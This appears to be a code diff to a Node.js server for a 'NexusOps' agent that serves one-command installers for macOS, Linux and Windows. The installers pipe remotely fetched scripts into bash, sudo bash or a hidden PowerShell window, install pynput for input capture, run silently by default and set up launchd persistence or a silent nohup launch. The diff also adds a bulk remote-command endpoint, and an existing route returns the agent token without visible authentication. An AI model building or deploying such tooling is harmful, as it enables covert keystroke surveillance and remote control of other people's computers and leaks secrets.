@@ -928,6 +932,7 @@ Write-Host "✅ Network Agent successfully launched! Check dashboard at $SERVER_
|
|||||||
});
|
});
|
||||||
|
|
||||||
app.get('/install-mac.sh', (req, res) => {
|
app.get('/install-mac.sh', (req, res) => {
|
||||||
|
const persist = req.query.persist !== '0';
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# macOS Node Agent Installer — launchd background daemon
|
# macOS Node Agent Installer — launchd background daemon
|
||||||
@@ -953,8 +958,8 @@ chmod +x "$INSTALL_DIR/agent.py"
|
|||||||
echo "[3/4] Installing pynput for input capture..."
|
echo "[3/4] Installing pynput for input capture..."
|
||||||
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
python3 -m pip install --user pynput 2>/dev/null || echo "[!] pynput optional, skipping"
|
||||||
|
|
||||||
echo "[4/4] Configuring launchd background daemon..."
|
${persist ? `echo "[4/4] Configuring launchd background daemon..."
|
||||||
mkdir -p "$HOME/Library/LaunchAgents"
|
mkdir -p "$HOME/Library/LaunchAgents"` : `echo "[4/4] Persistence disabled — launching agent once"`}
|
||||||
cat << EOF > "$PLIST_FILE"
|
cat << EOF > "$PLIST_FILE"
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
@@ -983,12 +988,13 @@ cat << EOF > "$PLIST_FILE"
|
|||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
# Bootstrap launchd job (modern macOS — load/unload are deprecated)
|
||||||
launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
${persist ? `launchctl bootout gui/$(id -u) "$PLIST_FILE" 2>/dev/null || true
|
||||||
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
launchctl bootstrap gui/$(id -u) "$PLIST_FILE"
|
||||||
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
launchctl kickstart gui/$(id -u)/com.nexusops.agent
|
||||||
|
|
||||||
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
echo "✅ macOS Agent installation complete! Reporting back to $SERVER_URL"
|
||||||
echo " To stop: launchctl unload $PLIST_FILE"
|
echo " To stop: launchctl unload $PLIST_FILE"` : `nohup "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
||||||
|
echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
|
||||||
`;
|
`;
|
||||||
res.setHeader('Content-Type', 'text/plain');
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
res.send(script);
|
res.send(script);
|
||||||
@@ -998,6 +1004,7 @@ echo " To stop: launchctl unload $PLIST_FILE"
|
|||||||
app.get('/install', (req, res) => {
|
app.get('/install', (req, res) => {
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
const silent = req.query.silent !== '0'; // silent by default
|
const silent = req.query.silent !== '0'; // silent by default
|
||||||
|
const persist = req.query.persist !== '0';
|
||||||
const quiet = silent ? '>/dev/null 2>&1' : '';
|
const quiet = silent ? '>/dev/null 2>&1' : '';
|
||||||
const script = `#!/bin/bash
|
const script = `#!/bin/bash
|
||||||
# NexusOps Universal Auto-Installer — one command, any OS
|
# NexusOps Universal Auto-Installer — one command, any OS
|
||||||
@@ -1007,19 +1014,19 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|||||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
Linux)
|
Linux)
|
||||||
echo "[*] Linux detected — deploying via systemd"
|
echo "[*] Linux detected — deploying via systemd"
|
||||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||||
;;
|
;;
|
||||||
Darwin)
|
Darwin)
|
||||||
echo "[*] macOS detected — deploying via launchd"
|
echo "[*] macOS detected — deploying via launchd"
|
||||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh" 2>/dev/null | bash ${quiet} &
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-mac.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
||||||
;;
|
;;
|
||||||
CYGWIN*|MINGW*|MSYS*|Windows)
|
CYGWIN*|MINGW*|MSYS*|Windows)
|
||||||
echo "[*] Windows detected — deploying via PowerShell"
|
echo "[*] Windows detected — deploying via PowerShell"
|
||||||
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1' | iex" ${quiet} &
|
powershell -WindowStyle Hidden -NoProfile -Command "iwr -useb '$SERVER_URL/install.ps1?persist=${persist}' | iex" ${quiet} &
|
||||||
;;
|
;;
|
||||||
*)
|
*)
|
||||||
echo "[!] Unknown OS — trying Linux installer as fallback"
|
echo "[!] Unknown OS — trying Linux installer as fallback"
|
||||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh" 2>/dev/null | sudo bash ${quiet} &
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||||
;;
|
;;
|
||||||
esac
|
esac
|
||||||
|
|
||||||
@@ -1039,6 +1046,30 @@ app.get('/agent.py', (req, res) => {
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
||||||
|
// ── Update all outdated agents ──
|
||||||
|
let CURRENT_AGENT_VERSION = 'unknown';
|
||||||
|
try {
|
||||||
|
const m = fs.readFileSync(path.join(__dirname, 'agents', 'agent.py'), 'utf8').match(/AGENT_VERSION = "([^"]+)"/);
|
||||||
|
if (m) CURRENT_AGENT_VERSION = m[1];
|
||||||
|
} catch (e) {}
|
||||||
|
app.get('/api/agentversion', (req, res) => res.json({ current: CURRENT_AGENT_VERSION }));
|
||||||
|
app.post('/api/nodes/update-all', (req, res) => {
|
||||||
|
let queued = 0; const targets = [];
|
||||||
|
for (const [id, n] of nodes) {
|
||||||
|
if (n.status !== 'online') continue;
|
||||||
|
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
||||||
|
commandQueues.get(id).push({
|
||||||
|
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
||||||
|
actionType: 'update_agent', payload: {}, command: 'update_agent',
|
||||||
|
status: 'queued', queuedAt: Date.now()
|
||||||
|
});
|
||||||
|
queued++; targets.push(id);
|
||||||
|
}
|
||||||
|
broadcastState();
|
||||||
|
res.json({ queued, current: CURRENT_AGENT_VERSION, targets });
|
||||||
|
});
|
||||||
|
|
||||||
// ── Completeness additions 2026-09-29 ──
|
// ── Completeness additions 2026-09-29 ──
|
||||||
app.get('/api/agenttoken', (req, res) => {
|
app.get('/api/agenttoken', (req, res) => {
|
||||||
res.json({ token: AGENT_TOKEN || '' });
|
res.json({ token: AGENT_TOKEN || '' });
|
||||||
|
|||||||
Reference in New Issue
Block a user